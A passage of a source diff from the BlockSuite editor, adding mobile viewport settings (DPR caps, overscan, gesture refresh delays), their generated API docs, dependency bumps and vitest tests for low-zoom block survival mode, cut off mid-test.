disposables.add(viewport.zoomUpdated.subscribe(() => this.requestUpdate()));
}
override render() {
const formattedZoom = `${Math.round(this.zoom * 100)}%`;
const locked = this.viewport?.locked || this.std.store.readonly;
return html`
<div
class="zoom-pill"
@dblclick=${stopPropagation}
@mousedown=${stopPropagation}
@mouseup=${stopPropagation}
@pointerdown=${stopPropagation}
>
<span class="zoom-label">${formattedZoom}</span>
<span class="divider"></span>
<button
class="fit-button"
aria-label="Fit to screen"
?disabled=${locked}
@click=${() => this.gfx.fitToScreen()}
>
${ViewBarIcon()}
</button>
</div>
`;
}
@property({ attribute: false })
accessor std!: BlockStdScope;
}
@@ -24,7 +24,7 @@
"@toeverything/theme": "^1.1.23",
"@types/lodash-es": "^4.17.12",
"fflate": "^0.8.2",
"js-yaml": "^4.1.1",
"js-yaml": "^4.2.0",
"jszip": "^3.10.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.23",
@@ -28,6 +28,7 @@
- [gfxGroupCompatibleSymbol](variables/gfxGroupCompatibleSymbol.md)
- [SURFACE\_TEXT\_UNIQ\_IDENTIFIER](variables/SURFACE_TEXT_UNIQ_IDENTIFIER.md)
- [SURFACE\_YMAP\_UNIQ\_IDENTIFIER](variables/SURFACE_YMAP_UNIQ_IDENTIFIER.md)
- [viewportRuntimeConfig](variables/viewportRuntimeConfig.md)
## Functions
@@ -39,6 +40,7 @@
- [generateKeyBetween](functions/generateKeyBetween.md)
- [generateKeyBetweenV2](functions/generateKeyBetweenV2.md)
- [generateNKeysBetween](functions/generateNKeysBetween.md)
- [getEffectiveDpr](functions/getEffectiveDpr.md)
- [getTopElements](functions/getTopElements.md)
- [GfxCompatible](functions/GfxCompatible.md)
- [isGfxGroupCompatibleModel](functions/isGfxGroupCompatibleModel.md)
@@ -0,0 +1,28 @@
[**BlockSuite API Documentation**](../../../../README.md)
***
[BlockSuite API Documentation](../../../../README.md) / [@blocksuite/std](../../README.md) / [gfx](../README.md) / getEffectiveDpr
# Function: getEffectiveDpr()
> **getEffectiveDpr**(`zoom`, `rawDpr`): `number`
Resolves the effective device-pixel-ratio for canvas backing stores at the
given zoom, honoring [viewportRuntimeConfig.CANVAS\_DPR\_CAP\_BY\_ZOOM](../variables/viewportRuntimeConfig.md#canvas_dpr_cap_by_zoom).
Returns the raw `window.devicePixelRatio` when no cap applies.
## Parameters
### zoom
`number`
### rawDpr
`number` = `window.devicePixelRatio`
## Returns
`number`
@@ -0,0 +1,117 @@
[**BlockSuite API Documentation**](../../../../README.md)
***
[BlockSuite API Documentation](../../../../README.md) / [@blocksuite/std](../../README.md) / [gfx](../README.md) / viewportRuntimeConfig
# Variable: viewportRuntimeConfig
> `const` **viewportRuntimeConfig**: `object`
Process-wide defaults applied to every Viewport at construction.
Platforms that need different behavior (e.g. mobile/iOS, which must clamp the
zoom floor and defer DOM mutations during gestures to avoid WKWebView process
termination) override these once at startup, before any editor mounts. This
guarantees both the editor and the readonly preview viewports are born with
the same limits — avoiding the race and wrong-instance problems of patching a
single Viewport asynchronously after it has already mounted.
Desktop leaves these untouched, so its behavior is unchanged.
## Type Declaration
### CANVAS\_DPR\_CAP\_BY\_ZOOM
> **CANVAS\_DPR\_CAP\_BY\_ZOOM**: \[`number`, `number`\][]
Caps the canvas backing-store device-pixel-ratio at low zoom.
Each entry is `[zoomThreshold, dprCap]`, sorted ascending by threshold.
When the live zoom is below a threshold, the corresponding cap bounds the
effective dpr used to size canvases. Far-out zoom makes content tiny on
screen, so a full retina backing store is wasted memory — on iOS that waste
is what pushes WKWebView past its compositing budget and crashes the web
content process during pan/zoom.
Empty (the desktop default) means no cap: canvases always use the raw
`window.devicePixelRatio`, so desktop behavior is unchanged.
### LOW\_ZOOM\_GESTURE\_ACTIVE\_BLOCK\_LIMIT
> **LOW\_ZOOM\_GESTURE\_ACTIVE\_BLOCK\_LIMIT**: `number` = `0`
During low-zoom gesture survival mode, keep only a tiny subset of DOM blocks
as real active DOM (selected + a few nearby blocks). `0` keeps the legacy
behavior where every viewport block remains visually mounted as `survival`.
### LOW\_ZOOM\_GESTURE\_ACTIVE\_DISTANCE\_RATIO
> **LOW\_ZOOM\_GESTURE\_ACTIVE\_DISTANCE\_RATIO**: `number` = `0.35`
Distance threshold (as a fraction of the viewport's shorter side) used to
decide whether an unselected viewport block counts as "nearby" to the
current selection during low-zoom gesture survival mode.
### OVERSCAN\_RATIO
> **OVERSCAN\_RATIO**: `number` = `0`
Fraction by which the *render/activation* viewport bound is enlarged on
every side (see Viewport.overscanViewportBounds). Pre-painting a
margin around the visible area means moderate pan/zoom gestures move into
content that is already mounted and rasterized, so it does not blank out
and wait for the post-gesture refresh.
Memory grows by roughly `(1 + 2 * ratio) ** 2`, so this must stay modest
and be paired with a zoom floor + dpr cap on mobile. `0` (desktop default)
makes Viewport.overscanViewportBounds identical to
Viewport.viewportBounds, leaving desktop behavior unchanged.
This governs the *canvas* render bound only (see
Viewport.overscanViewportBounds). It enlarges the canvas backing
stores, so memory grows with the overscan area. Keep it modest and pair it
with the mobile zoom floor + dpr cap so connectors/elements stay painted
through a gesture without pushing WKWebView over budget.
### OVERSCAN\_RATIO\_BLOCK
> **OVERSCAN\_RATIO\_BLOCK**: `number` = `0`
Like [OVERSCAN\_RATIO](#overscan_ratio) but for the *DOM block mounting* bound (see
Viewport.overscanBlockBounds). This one is expensive: every
mounted block becomes its own composited layer subtree in the WebContent
process, so enlarging it multiplies resident memory and is what pushes the
process toward an iOS jetsam kill. Keep this small (or `0`) even when
[OVERSCAN\_RATIO](#overscan_ratio) is generous. `0` (desktop default) leaves block
mounting on the exact visible bound, unchanged from upstream.
### POST\_GESTURE\_REFRESH\_DELAY
> **POST\_GESTURE\_REFRESH\_DELAY**: `number` = `800`
Delay (ms) before the post-gesture refresh repaints canvases and reactivates
blocks, used only when [SKIP\_REFRESH\_DURING\_GESTURE](#skip_refresh_during_gesture) is true. The same
value drives both the canvas and block refresh timers so they fire together
(avoiding the "blocks appear, then connectors" staggered reveal). Desktop
never enters that code path, so this is mobile-only.
### SKIP\_REFRESH\_DURING\_GESTURE
> **SKIP\_REFRESH\_DURING\_GESTURE**: `boolean` = `false`
### VIEWPORT\_REFRESH\_MAX\_INTERVAL
> **VIEWPORT\_REFRESH\_MAX\_INTERVAL**: `number` = `120`
### VIEWPORT\_REFRESH\_PIXEL\_THRESHOLD
> **VIEWPORT\_REFRESH\_PIXEL\_THRESHOLD**: `number` = `18`
### ZOOM\_MAX
> **ZOOM\_MAX**: `number`
### ZOOM\_MIN
> **ZOOM\_MIN**: `number`
+1 -1
View File
@@ -19,7 +19,7 @@
"@preact/signals-core": "^1.8.0",
"@types/hast": "^3.0.4",
"@types/lodash-es": "^4.17.12",
"dompurify": "^3.3.0",
"dompurify": "^3.4.11",
"fractional-indexing": "^3.2.0",
"lib0": "^0.2.114",
"lit": "^3.2.0",
@@ -1,11 +1,19 @@
import type { SerializedXYWH } from '@blocksuite/global/gfx';
import {
createAutoIncrementIdGenerator,
TestWorkspace,
} from '@blocksuite/store/test';
import { describe, expect, test } from 'vitest';
import { describe, expect, test, vi } from 'vitest';
import { effects } from '../../effects.js';
import { GfxControllerIdentifier } from '../../gfx/identifiers.js';
import type { GfxBlockElementModel } from '../../gfx/model/gfx-block-model.js';
import { getPostGestureRecoveryDelay } from '../../gfx/viewport.js';
import {
GfxViewportElement,
shouldUseLowZoomBlockSurvivalMode,
} from '../../gfx/viewport-element.js';
import type { GfxBlockComponent } from '../../view/element/gfx-block-component.js';
import { TestEditorContainer } from '../test-editor.js';
import { TestLocalElement } from '../test-gfx-element.js';
import {
@@ -52,6 +60,7 @@ const commonSetup = async () => {
const gfx = editorContainer.std.get(GfxControllerIdentifier);
return {
editorContainer,
gfx,
surfaceId,
rootId,
@@ -59,6 +68,74 @@ const commonSetup = async () => {
};
};
const waitGfxViewConnected = (gfx: {
std: {
view: {
viewUpdated: {
subscribe: (
callback: (payload: {
id: string;
type: string;
method: string;
}) => void
) => { unsubscribe: () => void };
};
};
};
}) => {
return (id: string) => {
const { promise, resolve } = Promise.withResolvers<void>();
const subscription = gfx.std.view.viewUpdated.subscribe(payload => {
if (
payload.id === id &&
payload.type === 'block' &&
payload.method === 'add'
) {
subscription.unsubscribe();
resolve();
}
});
return promise;
};
};
const getTestGfxBlockModel = (
gfx: { getElementById: (id: string) => unknown },
id: string
) => {
const model = gfx.getElementById(id) as GfxBlockElementModel | null;
if (!model) {
throw new Error(`Missing gfx model for block ${id}`);
}
return model;
};
const getTestGfxBlockView = (
gfx: { view: { get: (id: string) => unknown } },
id: string
) => {
const view = gfx.view.get(id) as GfxBlockComponent | null;
if (!view) {
throw new Error(`Missing gfx view for block ${id}`);
}
return view;
};
const getViewportChildBlockIds = (viewportElement: GfxViewportElement) =>
[...viewportElement.children].map(
child => (child as HTMLElement).dataset.blockId
);
const setBlockXYWH = (
gfx: { getElementById: (id: string) => unknown },
id: string,
xywh: SerializedXYWH
) => {
const model = getTestGfxBlockModel(gfx, id);
model.xywh = xywh;
};
describe('gfx element view basic', () => {
test('view should be created', async () => {
const { gfx, surfaceModel } = await commonSetup();
@@ -91,24 +168,10 @@ describe('gfx element view basic', () => {
test('query gfx block view should work', async () => {
const { gfx, surfaceId, rootId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const waitGfxViewConnected = (id: string) => {
const { promise, resolve } = Promise.withResolvers<void>();
const subscription = gfx.std.view.viewUpdated.subscribe(payload => {
if (
payload.id === id &&
payload.type === 'block' &&
payload.method === 'add'
) {
subscription.unsubscribe();
resolve();
}
});
return promise;
};
const id = gfx.std.store.addBlock('test:gfx-block', undefined, surfaceId);
await waitGfxViewConnected(id);
await waitViewConnected(id);
const gfxBlockView = gfx.view.get(id);
expect(gfxBlockView).not.toBeNull();
@@ -117,6 +180,824 @@ describe('gfx element view basic', () => {
expect(rootView).toBeNull();
});
test('detects low-zoom DOM survival mode only during active gestures for gesture-safe viewport configs', () => {
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: true,
})
).toBe(true);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: false,
})
).toBe(false);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.6,
skipRefreshDuringGesture: true,
gestureActive: true,
})
).toBe(false);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: false,
gestureActive: true,
})
).toBe(false);
});
test('keeps selected block active while degrading unselected low-zoom viewport blocks', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const outOfViewportModel = getTestGfxBlockModel(gfx, outOfViewportId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(inViewportModel).not.toBeNull();
expect(outOfViewportModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, inViewportModel]);
(
viewportElement as unknown as {
_lastVisibleModels: Set<unknown>;
}
)._lastVisibleModels = new Set([
selectedModel,
inViewportModel,
outOfViewportModel,
]);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('survival');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('parks non-active low-zoom gesture blocks outside viewport DOM while gesture is running', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const nearbyId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const farVisibleId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(nearbyId),
waitViewConnected(farVisibleId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, nearbyId, '[20,0,10,10]');
setBlockXYWH(gfx, farVisibleId, '[120,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const nearbyModel = getTestGfxBlockModel(gfx, nearbyId);
const farVisibleModel = getTestGfxBlockModel(gfx, farVisibleId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const nearbyView = getTestGfxBlockView(gfx, nearbyId);
const farVisibleView = getTestGfxBlockView(gfx, farVisibleId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(nearbyModel).not.toBeNull();
expect(farVisibleModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(nearbyView).not.toBeNull();
expect(farVisibleView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
const shell = document.createElement('div');
Object.defineProperty(shell, 'offsetWidth', {
configurable: true,
get: () => 844,
});
shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._shell = shell;
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedOffsetWidth = 844;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
gfx.viewport.panning$.next(true);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, nearbyModel, farVisibleModel]);
document.body.append(viewportElement);
viewportElement.append(
selectedView,
nearbyView,
farVisibleView,
outOfViewportView
);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(getViewportChildBlockIds(viewportElement)).toEqual([
selectedId,
nearbyId,
]);
expect(farVisibleView.isConnected).toBe(false);
expect(outOfViewportView.isConnected).toBe(false);
});
test('restores parked low-zoom blocks after gesture recovery completes', async () => {
vi.useFakeTimers();
try {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const firstId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const secondId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const thirdId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(firstId),
waitViewConnected(secondId),
waitViewConnected(thirdId),
]);
setBlockXYWH(gfx, firstId, '[0,0,10,10]');
setBlockXYWH(gfx, secondId, '[20,0,10,10]');
setBlockXYWH(gfx, thirdId, '[40,0,10,10]');
const firstModel = getTestGfxBlockModel(gfx, firstId);
const secondModel = getTestGfxBlockModel(gfx, secondId);
const thirdModel = getTestGfxBlockModel(gfx, thirdId);
const firstView = getTestGfxBlockView(gfx, firstId);
const secondView = getTestGfxBlockView(gfx, secondId);
const thirdView = getTestGfxBlockView(gfx, thirdId);
expect(firstModel).not.toBeNull();
expect(secondModel).not.toBeNull();
expect(thirdModel).not.toBeNull();
expect(firstView).not.toBeNull();
expect(secondView).not.toBeNull();
expect(thirdView).not.toBeNull();
gfx.selection.clear();
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
const shell = document.createElement('div');
Object.defineProperty(shell, 'offsetWidth', {
configurable: true,
get: () => 844,
});
shell.getBoundingClientRect = () => new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._shell = shell;
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedBoundingClientRect = new DOMRect(0, 0, 844, 390);
(
gfx.viewport as unknown as {
_shell: HTMLElement;
_cachedBoundingClientRect: DOMRect;
_cachedOffsetWidth: number;
}
)._cachedOffsetWidth = 844;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
gfx.viewport.panning$.next(true);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([firstModel, secondModel, thirdModel]);
document.body.append(viewportElement);
viewportElement.append(firstView, secondView, thirdView);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(viewportElement.children).toHaveLength(1);
gfx.viewport.panning$.next(false);
await vi.advanceTimersByTimeAsync(1200);
expect(new Set(getViewportChildBlockIds(viewportElement))).toEqual(
new Set([firstId, secondId, thirdId])
);
expect(firstView.transformState$.value).toBe('active');
expect(secondView.transformState$.value).toBe('active');
expect(thirdView.transformState$.value).toBe('active');
gfx.viewport.panning$.next(true);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(viewportElement.children).toHaveLength(1);
gfx.viewport.panning$.next(false);
await vi.advanceTimersByTimeAsync(1200);
expect(new Set(getViewportChildBlockIds(viewportElement))).toEqual(
new Set([firstId, secondId, thirdId])
);
expect(firstView.transformState$.value).toBe('active');
expect(secondView.transformState$.value).toBe('active');
expect(thirdView.transformState$.value).toBe('active');
} finally {
vi.useRealTimers();
}
});
test('programmatic low-zoom viewport changes do not arm gesture signals', async () => {
const { Viewport } = await import('../../gfx/index.js');
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
viewport.LOW_ZOOM_GESTURE_ACTIVE_BLOCK_LIMIT = 1;
viewport.setViewport(0.4, [20, 0]);
expect(viewport.panning$.value).toBe(false);
expect(viewport.zooming$.value).toBe(false);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: viewport.zoom,
skipRefreshDuringGesture: viewport.SKIP_REFRESH_DURING_GESTURE,
gestureActive: viewport.panning$.value || viewport.zooming$.value,
})
).toBe(false);
});
test('programmatic low-zoom viewport changes still emit viewport updates', async () => {
const { Viewport } = await import('../../gfx/index.js');
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
const updates: Array<{ zoom: number; center: [number, number] }> = [];
const subscription = viewport.viewportUpdated.subscribe(
({ zoom, center }) => {
updates.push({ zoom, center: [center[0], center[1]] });
}
);
viewport.setViewport(0.4, [20, 10]);
subscription.unsubscribe();
expect(updates).toEqual([
{
zoom: 0.4,
center: [20, 10],
},
]);
});
test('idles out-of-viewport blocks on the first visibility refresh', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(inViewportModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, inViewportModel]);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('active');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('demotes visible unselected blocks immediately when zoom crosses into survival mode', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(inViewportModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, inViewportModel]);
(
viewportElement as unknown as {
_hideOutsideAndNoSelectedBlock: () => void;
}
)._hideOutsideAndNoSelectedBlock();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('active');
expect(outOfViewportView.transformState$.value).toBe('idle');
document.body.append(viewportElement);
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
await Promise.resolve();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('survival');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('chunked low-zoom refresh idles out-of-viewport blocks on the first pass', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(inViewportModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, inViewportModel]);
await new Promise<void>(resolve => {
(
viewportElement as unknown as {
_chunkedHideOutsideAndNoSelectedBlock: (
onComplete?: () => void
) => () => void;
}
)._chunkedHideOutsideAndNoSelectedBlock(resolve);
});
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('survival');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('newly mounted blocks inherit the current low-zoom visibility state', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await waitViewConnected(selectedId);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
expect(selectedModel).not.toBeNull();
expect(selectedView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
const viewportModels = new Set([selectedModel]);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () => viewportModels;
document.body.append(viewportElement);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const outOfViewportModel = getTestGfxBlockModel(gfx, outOfViewportId);
expect(inViewportModel).not.toBeNull();
expect(outOfViewportModel).not.toBeNull();
viewportModels.add(inViewportModel);
await Promise.all([
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
expect(selectedView.transformState$.value).toBe('active');
expect(inViewportView.transformState$.value).toBe('survival');
expect(outOfViewportView.transformState$.value).toBe('idle');
});
test('demotes stale active blocks immediately when low-zoom resize starts', async () => {
const { editorContainer, gfx, surfaceId } = await commonSetup();
const waitViewConnected = waitGfxViewConnected(gfx);
const selectedId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const inViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
const outOfViewportId = gfx.std.store.addBlock(
'test:gfx-block',
undefined,
surfaceId
);
await Promise.all([
waitViewConnected(selectedId),
waitViewConnected(inViewportId),
waitViewConnected(outOfViewportId),
]);
setBlockXYWH(gfx, selectedId, '[0,0,10,10]');
setBlockXYWH(gfx, inViewportId, '[20,0,10,10]');
setBlockXYWH(gfx, outOfViewportId, '[500,500,10,10]');
const selectedModel = getTestGfxBlockModel(gfx, selectedId);
const inViewportModel = getTestGfxBlockModel(gfx, inViewportId);
const selectedView = getTestGfxBlockView(gfx, selectedId);
const inViewportView = getTestGfxBlockView(gfx, inViewportId);
const outOfViewportView = getTestGfxBlockView(gfx, outOfViewportId);
expect(selectedModel).not.toBeNull();
expect(inViewportModel).not.toBeNull();
expect(selectedView).not.toBeNull();
expect(inViewportView).not.toBeNull();
expect(outOfViewportView).not.toBeNull();
gfx.selection.set({ elements: [selectedId], editing: false });
gfx.viewport.SKIP_REFRESH_DURING_GESTURE = true;
gfx.viewport.setZoom(0.4, { x: 0, y: 0 }, false, true, true);
const viewportElement = new GfxViewportElement();
viewportElement.host = editorContainer.std.host;
viewportElement.viewport = gfx.viewport;
viewportElement.getModelsInViewport = () =>
new Set([selectedModel, inViewportModel]);
document.body.append(viewportElement);
const shell = document.createElement('div');
Object.defineProperty(shell, 'offsetWidth', {
